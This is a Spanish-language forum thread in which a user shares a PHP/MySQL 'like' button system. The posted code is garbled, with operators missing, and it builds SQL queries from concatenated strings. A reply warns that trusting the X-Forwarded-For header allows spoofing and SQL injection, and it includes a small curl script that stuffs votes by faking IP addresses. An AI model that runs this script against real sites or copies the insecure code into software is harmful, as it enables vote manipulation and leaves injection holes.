Sistema de boton ME GUSTA en php y mysql

Iniciado por catriel10, 13 Abril 2013, 21:12 PM

0 Miembros y 1 Visitante están viendo este tema.

catriel10

Buenas tardes gente, les traigo un sistema de ME GUSTA para aquellos que quieran ponerlo en su pagina.


CREAMOS LA BASE DE DATOS

Código (sql) [Seleccionar]
CREATE TABLE `post` (
 `id` int(11) NOT NULL auto_increment,
 `nombre` varchar(255) collate utf8_unicode_ci NOT NULL,
 `megusta` int(11) default '0',
 `ips` text collate utf8_unicode_ci NOT NULL,
 PRIMARY KEY  (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci AUTO_INCREMENT=4 ;[/b][/left]


ESTE ES EL INDEX.PHP

Código (php) [Seleccionar]
[left]<?php
$dbhost 
"SERVIDOR"// Servidor
$dbuser "USUARIO"// Nombre de usuario
$dbpass "CONTRASENA"// Contraseña
$dbname "NOMBRE_BASE_DE_DATOS"// Nombre de la base de datos

# Creamos conexion a la base de datos
$link mysql_connect($dbhost,$dbuser,$dbpass);
mysql_select_db($dbname,$link);

# Imprimimos una prueba para dar como ejemplo
$sql "SELECT * FROM post";
$query mysql_query($sql,$link);
?>

<table width="800" border="0" align="center">
 <tr>
   <td width="5%" align="center">ID</td>
   <td width="63%" align="center">NOMBRE DEL POST</td>
   <td width="32%" align="center">ME GUSTA</td>
 </tr>
<?php
while($row mysql_fetch_assoc($query))
{
?>

 <tr>
   <td width="5%" align="center"><?=$row['id']?></td>
   <td width="63%" align="center"><?=$row['nombre']?></td>
   <td width="32%" align="center">[<a href="megusta.php?voto=positivo&id=<?=$row['id']?>">Me gusta</a>] <?=$row['megusta']?> [<a href="megusta.php?voto=negativo&id=<?=$row['id']?>">No me gusta</a>]</td>
 </tr>
<?php
}

?>

</table>

POR ULTIMO DONDE SE REALIZA LA FUNCION megusta.php

Código (php) [Seleccionar]
<?php
$dbhost 
"SERVIDOR"// Servidor
$dbuser "USUARIO"// Nombre de usuario
$dbpass "CONTRASEÑA"// Contraseña
$dbname "NOMBRE_BASE_DE_DATOS"// Nombre de la base de datos

# Creamos conexion a la base de datos
$link mysql_connect($dbhost,$dbuser,$dbpass);
mysql_select_db($dbname,$link);

# Saber si el voto es negativo o positivo
$voto htmlentities($_GET['voto']);

# Tomamos el id de nuestro post y vemos todas las ip que pusieron megusta
$id = (int) $_GET['id'];
$query mysql_query("SELECT id,ips FROM post WHERE id='".$id."'",$link);
$row mysql_fetch_assoc($query);
$ip $row['ips'];

# Obtenemos la ip de nuestro visitante
{
$ipp getenv('REMOTE_ADDR');
}

# Me gusta o No me gusta
switch($voto)
{
case 
"positivo";
if($query)
{
$var explode(","$ip);
$arr in_array($ipp$var);
if(!$arr)
{
mysql_query("UPDATE post SET megusta=megusta+1, ips=CONCAT(post.ips,'".$ipp.",') WHERE id='".$id."'",$link);
}
}
break;

case 
"negativo";
if($query)
{
$var explode(","$ip);
$arr in_array($ipp$var);
if(!$arr)
{
mysql_query("UPDATE post SET megusta=megusta-1, ips=CONCAT(post.ips,'".$ipp.",') WHERE id='".$id."'",$link);
}
}
break;
}
header('location:index.php');
?>

дٳŦ٭



Con sangre andaluza :)


#!drvy

Mencionar que el sistema es un poco inseguro en el modulo megusta.php, lineas 20-26, . La razón:

En la linea 21, compruebas si la variable $HTTP_X_FORWARDED_FOR esta vacia. Esto en una parte da a pensar que el sistema utiliza "Register Globals" que se ha demostrado que si no se usa correctamente puede ser un agujero.

Si dicha variable no llega a estar vacía (si se utiliza "Register Globals" es muy fácil de declarar), el sistema utilizara:
Código (php) [Seleccionar]
$ipp = getenv(HTTP_X_FORWARDED_FOR);

Esto tiene 2 errores.

1 - La menera correcta de declararlo seria getenv('HTTP_X_FORWARDED_FOR');. Con comillas (simples o dobles) entre el nombre. En caso de no hacerlo, PHP tira un error de Assuming.

2 - No se filtra. La cabecera X-Forwarded-For, se enviada por el cliente Por tanto, un usuario mal intencionado, puede simular la cabecera para introducir lo que el quiera. Desde IP's no existentes (999.999.999.999) hasta una inyección SQL.

Yo te recomiendo usar solo REMOTE_ADDR. Esta bien detectar el proxy pero no creo que merezca la pena perder seguridad por saber la IP real del visitante.

Un simple exploit- suponiendo que register globals esta on:
Código (php) [Seleccionar]
<?php
// Url a atacar.
$url 'http://localhost/megusta.php';
$id 1;
$voto 'positivo';
$veces 100;
/* ---------------------- */
$url .= '?id='.$id.'&voto='.$voto.'&HTTP_X_FORWARDED_FOR=a';
$ch curl_init();
curl_setopt($chCURLOPT_URL$url);
curl_setopt($chCURLOPT_RETURNTRANSFER1);
for (
$i=0$i<=$veces$i++) {
   
// cambio de IP por cada request.
   
curl_setopt($ch,CURLOPT_HTTPHEADER,array('X-Forwarded-For: 999.999.999.'.$i));
   
// Ejecutar
   
$output curl_exec($ch);
   
// Dormir
   
sleep(0.5);
}
curl_close($ch);
echo 
'Terminado';
?>


Saludos

catriel10

Gracias drvy | BSM, pero la verdad es que no tengo mucha idea de php y mysql, no se mucho de codigos y seguridad. Disculpa pero ahi le agrego las comillas como vos dijiste :). дٳŦ٭ gracias a vos por ver el post, saludos